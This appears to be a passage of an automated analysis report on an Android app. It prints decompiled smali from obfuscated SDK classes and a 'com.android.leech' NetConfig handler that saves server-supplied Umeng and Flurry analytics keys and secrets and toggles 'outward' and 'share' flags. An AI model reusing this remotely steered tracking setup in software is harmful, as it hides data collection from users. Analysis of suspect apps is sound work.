                                                                              • uAgent.commonsdk.proguard.h$e.c:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.d:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.e:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.f:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.g:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.h:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.i:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.j:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.EnumSet.allOf
                                                                              • java.util.EnumSet.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • uAgent.commonsdk.proguard.h$e.k:Ljava/util/Map
                                                                              • uAgent.commonsdk.proguard.h$e.b
                                                                              • java.util.Map.put
                                                                              Strings
                                                                              • VERSION
                                                                              • version
                                                                              • ADDRESS
                                                                              • address
                                                                              • SIGNATURE
                                                                              • signature
                                                                              • SERIAL_NUM
                                                                              • serial_num
                                                                              • TS_SECS
                                                                              • ts_secs
                                                                              • LENGTH
                                                                              • length
                                                                              • ENTITY
                                                                              • entity
                                                                              • GUID
                                                                              • guid
                                                                              • CHECKSUM
                                                                              • checksum
                                                                              • CODEX
                                                                              • codex
                                                                              Position Instruction Meta Information
                                                                              0const/4 v9, 0x5
                                                                              1const/4 v8, 0x4
                                                                              2const/4 v7, 0x3
                                                                              3const/4 v6, 0x2
                                                                              4const/4 v5, 0x1
                                                                              5new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              7const-string v1, "VERSION"
                                                                              8const/4 v2, 0x0
                                                                              10const-string v3, "version"
                                                                              12invoke-direct {v0, v1, v2, v5, v3}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              13sput-object v0, LuAgent/commonsdk/proguard/h$e;->a:LuAgent/commonsdk/proguard/h$e;
                                                                              14new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              16const-string v1, "ADDRESS"
                                                                              18const-string v2, "address"
                                                                              20invoke-direct {v0, v1, v5, v6, v2}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              21sput-object v0, LuAgent/commonsdk/proguard/h$e;->b:LuAgent/commonsdk/proguard/h$e;
                                                                              22new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              24const-string v1, "SIGNATURE"
                                                                              26const-string v2, "signature"
                                                                              28invoke-direct {v0, v1, v6, v7, v2}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              29sput-object v0, LuAgent/commonsdk/proguard/h$e;->c:LuAgent/commonsdk/proguard/h$e;
                                                                              30new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              32const-string v1, "SERIAL_NUM"
                                                                              34const-string v2, "serial_num"
                                                                              36invoke-direct {v0, v1, v7, v8, v2}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              37sput-object v0, LuAgent/commonsdk/proguard/h$e;->d:LuAgent/commonsdk/proguard/h$e;
                                                                              38new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              40const-string v1, "TS_SECS"
                                                                              42const-string v2, "ts_secs"
                                                                              44invoke-direct {v0, v1, v8, v9, v2}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              45sput-object v0, LuAgent/commonsdk/proguard/h$e;->e:LuAgent/commonsdk/proguard/h$e;
                                                                              46new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              48const-string v1, "LENGTH"
                                                                              49const/4 v2, 0x6
                                                                              51const-string v3, "length"
                                                                              53invoke-direct {v0, v1, v9, v2, v3}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              54sput-object v0, LuAgent/commonsdk/proguard/h$e;->f:LuAgent/commonsdk/proguard/h$e;
                                                                              55new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              57const-string v1, "ENTITY"
                                                                              58const/4 v2, 0x6
                                                                              59const/4 v3, 0x7
                                                                              61const-string v4, "entity"
                                                                              63invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              64sput-object v0, LuAgent/commonsdk/proguard/h$e;->g:LuAgent/commonsdk/proguard/h$e;
                                                                              65new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              67const-string v1, "GUID"
                                                                              68const/4 v2, 0x7
                                                                              69const/16 v3, 0x8
                                                                              71const-string v4, "guid"
                                                                              73invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              74sput-object v0, LuAgent/commonsdk/proguard/h$e;->h:LuAgent/commonsdk/proguard/h$e;
                                                                              75new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              77const-string v1, "CHECKSUM"
                                                                              78const/16 v2, 0x8
                                                                              79const/16 v3, 0x9
                                                                              81const-string v4, "checksum"
                                                                              83invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              84sput-object v0, LuAgent/commonsdk/proguard/h$e;->i:LuAgent/commonsdk/proguard/h$e;
                                                                              85new-instance v0, LuAgent/commonsdk/proguard/h$e;
                                                                              87const-string v1, "CODEX"
                                                                              88const/16 v2, 0x9
                                                                              89const/16 v3, 0xa
                                                                              91const-string v4, "codex"
                                                                              93invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/proguard/h$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              94sput-object v0, LuAgent/commonsdk/proguard/h$e;->j:LuAgent/commonsdk/proguard/h$e;
                                                                              95const/16 v0, 0xa
                                                                              96new-array v0, v0, [LuAgent/commonsdk/proguard/h$e;
                                                                              97const/4 v1, 0x0
                                                                              99sget-object v2, LuAgent/commonsdk/proguard/h$e;->a:LuAgent/commonsdk/proguard/h$e;
                                                                              100aput-object v2, v0, v1
                                                                              102sget-object v1, LuAgent/commonsdk/proguard/h$e;->b:LuAgent/commonsdk/proguard/h$e;
                                                                              103aput-object v1, v0, v5
                                                                              105sget-object v1, LuAgent/commonsdk/proguard/h$e;->c:LuAgent/commonsdk/proguard/h$e;
                                                                              106aput-object v1, v0, v6
                                                                              108sget-object v1, LuAgent/commonsdk/proguard/h$e;->d:LuAgent/commonsdk/proguard/h$e;
                                                                              109aput-object v1, v0, v7
                                                                              111sget-object v1, LuAgent/commonsdk/proguard/h$e;->e:LuAgent/commonsdk/proguard/h$e;
                                                                              112aput-object v1, v0, v8
                                                                              114sget-object v1, LuAgent/commonsdk/proguard/h$e;->f:LuAgent/commonsdk/proguard/h$e;
                                                                              115aput-object v1, v0, v9
                                                                              116const/4 v1, 0x6
                                                                              118sget-object v2, LuAgent/commonsdk/proguard/h$e;->g:LuAgent/commonsdk/proguard/h$e;
                                                                              119aput-object v2, v0, v1
                                                                              120const/4 v1, 0x7
                                                                              122sget-object v2, LuAgent/commonsdk/proguard/h$e;->h:LuAgent/commonsdk/proguard/h$e;
                                                                              123aput-object v2, v0, v1
                                                                              124const/16 v1, 0x8
                                                                              126sget-object v2, LuAgent/commonsdk/proguard/h$e;->i:LuAgent/commonsdk/proguard/h$e;
                                                                              127aput-object v2, v0, v1
                                                                              128const/16 v1, 0x9
                                                                              130sget-object v2, LuAgent/commonsdk/proguard/h$e;->j:LuAgent/commonsdk/proguard/h$e;
                                                                              131aput-object v2, v0, v1
                                                                              132sput-object v0, LuAgent/commonsdk/proguard/h$e;->n:[LuAgent/commonsdk/proguard/h$e;
                                                                              133new-instance v0, Ljava/util/HashMap;
                                                                              135invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              136sput-object v0, LuAgent/commonsdk/proguard/h$e;->k:Ljava/util/Map;
                                                                              137const-class v0, LuAgent/commonsdk/proguard/h$e;
                                                                              139invoke-static {v0}, Ljava/util/EnumSet;->allOf(Ljava/lang/Class;)Ljava/util/EnumSet;
                                                                              140move-result-object v0
                                                                              142invoke-virtual {v0}, Ljava/util/EnumSet;->iterator()Ljava/util/Iterator;
                                                                              143move-result-object v1
                                                                              144goto_c8:
                                                                              145invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                                                              146move-result v0
                                                                              147if-eqz v0, :cond_de
                                                                              149invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              150move-result-object v0
                                                                              151check-cast v0, LuAgent/commonsdk/proguard/h$e;
                                                                              153sget-object v2, LuAgent/commonsdk/proguard/h$e;->k:Ljava/util/Map;
                                                                              155invoke-virtual {v0}, LuAgent/commonsdk/proguard/h$e;->b()Ljava/lang/String;
                                                                              156move-result-object v3
                                                                              158invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              159goto/16 :goto_c8
                                                                              160cond_de: return-void
                                                                              APIs
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.a:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.b:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.c:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.d:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.e:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.f:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.g:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.h:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.i:LuAgent/commonsdk/stateless/b$e
                                                                              • uAgent.commonsdk.stateless.b$e.j:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.EnumSet.allOf
                                                                              • java.util.EnumSet.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • uAgent.commonsdk.stateless.b$e.k:Ljava/util/Map
                                                                              • uAgent.commonsdk.stateless.b$e.b
                                                                              • java.util.Map.put
                                                                              Strings
                                                                              • VERSION
                                                                              • version
                                                                              • ADDRESS
                                                                              • address
                                                                              • SIGNATURE
                                                                              • signature
                                                                              • SERIAL_NUM
                                                                              • serial_num
                                                                              • TS_SECS
                                                                              • ts_secs
                                                                              • LENGTH
                                                                              • length
                                                                              • ENTITY
                                                                              • entity
                                                                              • GUID
                                                                              • guid
                                                                              • CHECKSUM
                                                                              • checksum
                                                                              • CODEX
                                                                              • codex
                                                                              Position Instruction Meta Information
                                                                              0const/4 v9, 0x5
                                                                              1const/4 v8, 0x4
                                                                              2const/4 v7, 0x3
                                                                              3const/4 v6, 0x2
                                                                              4const/4 v5, 0x1
                                                                              5new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              7const-string v1, "VERSION"
                                                                              8const/4 v2, 0x0
                                                                              10const-string v3, "version"
                                                                              12invoke-direct {v0, v1, v2, v5, v3}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              13sput-object v0, LuAgent/commonsdk/stateless/b$e;->a:LuAgent/commonsdk/stateless/b$e;
                                                                              14new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              16const-string v1, "ADDRESS"
                                                                              18const-string v2, "address"
                                                                              20invoke-direct {v0, v1, v5, v6, v2}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              21sput-object v0, LuAgent/commonsdk/stateless/b$e;->b:LuAgent/commonsdk/stateless/b$e;
                                                                              22new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              24const-string v1, "SIGNATURE"
                                                                              26const-string v2, "signature"
                                                                              28invoke-direct {v0, v1, v6, v7, v2}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              29sput-object v0, LuAgent/commonsdk/stateless/b$e;->c:LuAgent/commonsdk/stateless/b$e;
                                                                              30new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              32const-string v1, "SERIAL_NUM"
                                                                              34const-string v2, "serial_num"
                                                                              36invoke-direct {v0, v1, v7, v8, v2}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              37sput-object v0, LuAgent/commonsdk/stateless/b$e;->d:LuAgent/commonsdk/stateless/b$e;
                                                                              38new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              40const-string v1, "TS_SECS"
                                                                              42const-string v2, "ts_secs"
                                                                              44invoke-direct {v0, v1, v8, v9, v2}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              45sput-object v0, LuAgent/commonsdk/stateless/b$e;->e:LuAgent/commonsdk/stateless/b$e;
                                                                              46new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              48const-string v1, "LENGTH"
                                                                              49const/4 v2, 0x6
                                                                              51const-string v3, "length"
                                                                              53invoke-direct {v0, v1, v9, v2, v3}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              54sput-object v0, LuAgent/commonsdk/stateless/b$e;->f:LuAgent/commonsdk/stateless/b$e;
                                                                              55new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              57const-string v1, "ENTITY"
                                                                              58const/4 v2, 0x6
                                                                              59const/4 v3, 0x7
                                                                              61const-string v4, "entity"
                                                                              63invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              64sput-object v0, LuAgent/commonsdk/stateless/b$e;->g:LuAgent/commonsdk/stateless/b$e;
                                                                              65new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              67const-string v1, "GUID"
                                                                              68const/4 v2, 0x7
                                                                              69const/16 v3, 0x8
                                                                              71const-string v4, "guid"
                                                                              73invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              74sput-object v0, LuAgent/commonsdk/stateless/b$e;->h:LuAgent/commonsdk/stateless/b$e;
                                                                              75new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              77const-string v1, "CHECKSUM"
                                                                              78const/16 v2, 0x8
                                                                              79const/16 v3, 0x9
                                                                              81const-string v4, "checksum"
                                                                              83invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              84sput-object v0, LuAgent/commonsdk/stateless/b$e;->i:LuAgent/commonsdk/stateless/b$e;
                                                                              85new-instance v0, LuAgent/commonsdk/stateless/b$e;
                                                                              87const-string v1, "CODEX"
                                                                              88const/16 v2, 0x9
                                                                              89const/16 v3, 0xa
                                                                              91const-string v4, "codex"
                                                                              93invoke-direct {v0, v1, v2, v3, v4}, LuAgent/commonsdk/stateless/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              94sput-object v0, LuAgent/commonsdk/stateless/b$e;->j:LuAgent/commonsdk/stateless/b$e;
                                                                              95const/16 v0, 0xa
                                                                              96new-array v0, v0, [LuAgent/commonsdk/stateless/b$e;
                                                                              97const/4 v1, 0x0
                                                                              99sget-object v2, LuAgent/commonsdk/stateless/b$e;->a:LuAgent/commonsdk/stateless/b$e;
                                                                              100aput-object v2, v0, v1
                                                                              102sget-object v1, LuAgent/commonsdk/stateless/b$e;->b:LuAgent/commonsdk/stateless/b$e;
                                                                              103aput-object v1, v0, v5
                                                                              105sget-object v1, LuAgent/commonsdk/stateless/b$e;->c:LuAgent/commonsdk/stateless/b$e;
                                                                              106aput-object v1, v0, v6
                                                                              108sget-object v1, LuAgent/commonsdk/stateless/b$e;->d:LuAgent/commonsdk/stateless/b$e;
                                                                              109aput-object v1, v0, v7
                                                                              111sget-object v1, LuAgent/commonsdk/stateless/b$e;->e:LuAgent/commonsdk/stateless/b$e;
                                                                              112aput-object v1, v0, v8
                                                                              114sget-object v1, LuAgent/commonsdk/stateless/b$e;->f:LuAgent/commonsdk/stateless/b$e;
                                                                              115aput-object v1, v0, v9
                                                                              116const/4 v1, 0x6
                                                                              118sget-object v2, LuAgent/commonsdk/stateless/b$e;->g:LuAgent/commonsdk/stateless/b$e;
                                                                              119aput-object v2, v0, v1
                                                                              120const/4 v1, 0x7
                                                                              122sget-object v2, LuAgent/commonsdk/stateless/b$e;->h:LuAgent/commonsdk/stateless/b$e;
                                                                              123aput-object v2, v0, v1
                                                                              124const/16 v1, 0x8
                                                                              126sget-object v2, LuAgent/commonsdk/stateless/b$e;->i:LuAgent/commonsdk/stateless/b$e;
                                                                              127aput-object v2, v0, v1
                                                                              128const/16 v1, 0x9
                                                                              130sget-object v2, LuAgent/commonsdk/stateless/b$e;->j:LuAgent/commonsdk/stateless/b$e;
                                                                              131aput-object v2, v0, v1
                                                                              132sput-object v0, LuAgent/commonsdk/stateless/b$e;->n:[LuAgent/commonsdk/stateless/b$e;
                                                                              133new-instance v0, Ljava/util/HashMap;
                                                                              135invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              136sput-object v0, LuAgent/commonsdk/stateless/b$e;->k:Ljava/util/Map;
                                                                              137const-class v0, LuAgent/commonsdk/stateless/b$e;
                                                                              139invoke-static {v0}, Ljava/util/EnumSet;->allOf(Ljava/lang/Class;)Ljava/util/EnumSet;
                                                                              140move-result-object v0
                                                                              142invoke-virtual {v0}, Ljava/util/EnumSet;->iterator()Ljava/util/Iterator;
                                                                              143move-result-object v1
                                                                              144goto_c8:
                                                                              145invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                                                              146move-result v0
                                                                              147if-eqz v0, :cond_de
                                                                              149invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              150move-result-object v0
                                                                              151check-cast v0, LuAgent/commonsdk/stateless/b$e;
                                                                              153sget-object v2, LuAgent/commonsdk/stateless/b$e;->k:Ljava/util/Map;
                                                                              155invoke-virtual {v0}, LuAgent/commonsdk/stateless/b$e;->b()Ljava/lang/String;
                                                                              156move-result-object v3
                                                                              158invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              159goto/16 :goto_c8
                                                                              160cond_de: return-void
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • org.json.JSONObject.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONArray.get
                                                                              • java.lang.String.format
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.format
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              Strings
                                                                              • NetConfig
                                                                              • state
                                                                              • onResponseSuccess:
                                                                              • is_outward
                                                                              • outward
                                                                              • is_share
                                                                              • share
                                                                              • UMENG_KEY
                                                                              • UMENG_SECRET
                                                                              • FLURRY_KEY
                                                                              • FLURRY_SECRET
                                                                              • keys
                                                                              • type
                                                                              • key
                                                                              • secret
                                                                              • channel
                                                                              • set TYPE_UMENG:%s|%s
                                                                              • UMENG_CHANNEL
                                                                              • set TYPE_FLURRY:%s|%s
                                                                              • FLURRY_CHANNEL
                                                                              • set TYPE_GMS
                                                                              • set TYPE_FIREBASE
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "response" # Lcom/android/leech/base/network/BaseRequest$Response;
                                                                              1.param p2, "jsonData" # Lorg/json/JSONObject;
                                                                              2.param p3, "isCached" # Z
                                                                              3.prologue
                                                                              4if-eqz p3, :cond_3
                                                                              5goto_2: return-void
                                                                              6cond_3:
                                                                              7const-string v11, "NetConfig"
                                                                              9const-string v12, "state"
                                                                              10new-instance v13, Ljava/lang/StringBuilder;
                                                                              12invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
                                                                              14const-string v14, "onResponseSuccess:"
                                                                              16invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              17move-result-object v13
                                                                              19invoke-virtual/range {p2 .. p2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              20move-result-object v14
                                                                              22invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              23move-result-object v13
                                                                              25invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              26move-result-object v13
                                                                              28invoke-static {v11, v12, v13}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              29try_start_21:
                                                                              30const-string v11, "is_outward"
                                                                              31move-object/from16 v0, p2
                                                                              33invoke-static {v0, v11}, Lcom/android/leech/base/util/JsonUtils;->getJsonBoolean(Lorg/json/JSONObject;Ljava/lang/String;)Z
                                                                              34move-result v4
                                                                              36iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              38const-string v12, "outward"
                                                                              40invoke-static {v11, v12, v4}, Lcom/android/leech/base/util/ShareUtils;->setBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)V
                                                                              42const-string v11, "is_share"
                                                                              43move-object/from16 v0, p2
                                                                              45invoke-static {v0, v11}, Lcom/android/leech/base/util/JsonUtils;->getJsonBoolean(Lorg/json/JSONObject;Ljava/lang/String;)Z
                                                                              46move-result v5
                                                                              48iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              50const-string v12, "share"
                                                                              52invoke-static {v11, v12, v5}, Lcom/android/leech/base/util/ShareUtils;->setBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)V
                                                                              54iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              56const-string v12, "UMENG_KEY"
                                                                              58invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              60iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              62const-string v12, "UMENG_SECRET"
                                                                              64invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              66iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              68const-string v12, "FLURRY_KEY"
                                                                              70invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              72iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              74const-string v12, "FLURRY_SECRET"
                                                                              76invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              77if-eqz p2, :cond_14a
                                                                              79const-string v11, "keys"
                                                                              80move-object/from16 v0, p2
                                                                              82invoke-static {v0, v11}, Lcom/android/leech/base/util/JsonUtils;->getJsonArray(Lorg/json/JSONObject;Ljava/lang/String;)Lorg/json/JSONArray;
                                                                              83move-result-object v6
                                                                              85invoke-static {v6}, Lcom/android/leech/base/util/JsonUtils;->isEmpty(Lorg/json/JSONArray;)Z
                                                                              86move-result v11
                                                                              87if-nez v11, :cond_14a
                                                                              88const/4 v3, 0x0
                                                                              89goto_6c:
                                                                              90invoke-virtual {v6}, Lorg/json/JSONArray;->length()I
                                                                              91move-result v11
                                                                              92if-ge v3, v11, :cond_14a
                                                                              94invoke-virtual {v6, v3}, Lorg/json/JSONArray;->get(I)Ljava/lang/Object;
                                                                              95move-result-object v8
                                                                              96check-cast v8, Lorg/json/JSONObject;
                                                                              98const-string v11, "type"
                                                                              100invoke-static {v8, v11}, Lcom/android/leech/base/util/JsonUtils;->getJsonInt(Lorg/json/JSONObject;Ljava/lang/String;)I
                                                                              101move-result v10
                                                                              103const-string v11, "key"
                                                                              105invoke-static {v8, v11}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              106move-result-object v7
                                                                              108const-string v11, "secret"
                                                                              110invoke-static {v8, v11}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              111move-result-object v9
                                                                              113const-string v11, "channel"
                                                                              115invoke-static {v8, v11}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              116move-result-object v1
                                                                              117packed-switch v10, :pswitch_data_152
                                                                              118pswitch_93: add-int/lit8 v3, v3, 0x1
                                                                              119goto/16 :goto_6c
                                                                              120pswitch_96: const-class v11, Lcom/android/leech/main/NetConfig;
                                                                              122const-string v12, "set TYPE_UMENG:%s|%s"
                                                                              123const/4 v13, 0x2
                                                                              124new-array v13, v13, [Ljava/lang/Object;
                                                                              125const/4 v14, 0x0
                                                                              126aput-object v7, v13, v14
                                                                              127const/4 v14, 0x1
                                                                              128aput-object v1, v13, v14
                                                                              130invoke-static {v12, v13}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                                                              131move-result-object v12
                                                                              133invoke-static {v11, v12}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/Class;Ljava/lang/String;)V
                                                                              135invoke-static {v7}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              136move-result v11
                                                                              137if-nez v11, :cond_d2
                                                                              139iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              141const-string v12, "UMENG_KEY"
                                                                              143invoke-static {v11, v12, v7}, Lcom/android/leech/base/util/ShareUtils;->setStringValue(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                                              145iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              147const-string v12, "UMENG_SECRET"
                                                                              149invoke-static {v11, v12, v9}, Lcom/android/leech/base/util/ShareUtils;->setStringValue(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                                              150goto_be:
                                                                              151invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              152move-result v11
                                                                              153if-nez v11, :cond_e1
                                                                              155iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              157const-string v12, "UMENG_CHANNEL"
                                                                              159invoke-static {v11, v12, v1}, Lcom/android/leech/base/util/ShareUtils;->setStringValue(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                                              160try_end_cb: goto/16 :goto_93
                                                                              161catch_cc: move-exception v2
                                                                              163invoke-static {v2}, Lcom/android/leech/base/analytics/Analytics;->doEventThrowable(Ljava/lang/Throwable;)V
                                                                              164goto/16 :goto_2
                                                                              165cond_d2:
                                                                              166iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              168const-string v12, "UMENG_KEY"
                                                                              170invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              172iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              174const-string v12, "UMENG_SECRET"
                                                                              176invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              177goto/16 :goto_be
                                                                              178cond_e1:
                                                                              179iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              181const-string v12, "UMENG_CHANNEL"
                                                                              183invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              184goto/16 :goto_93
                                                                              185pswitch_e9: const-class v11, Lcom/android/leech/main/NetConfig;
                                                                              187const-string v12, "set TYPE_FLURRY:%s|%s"
                                                                              188const/4 v13, 0x2
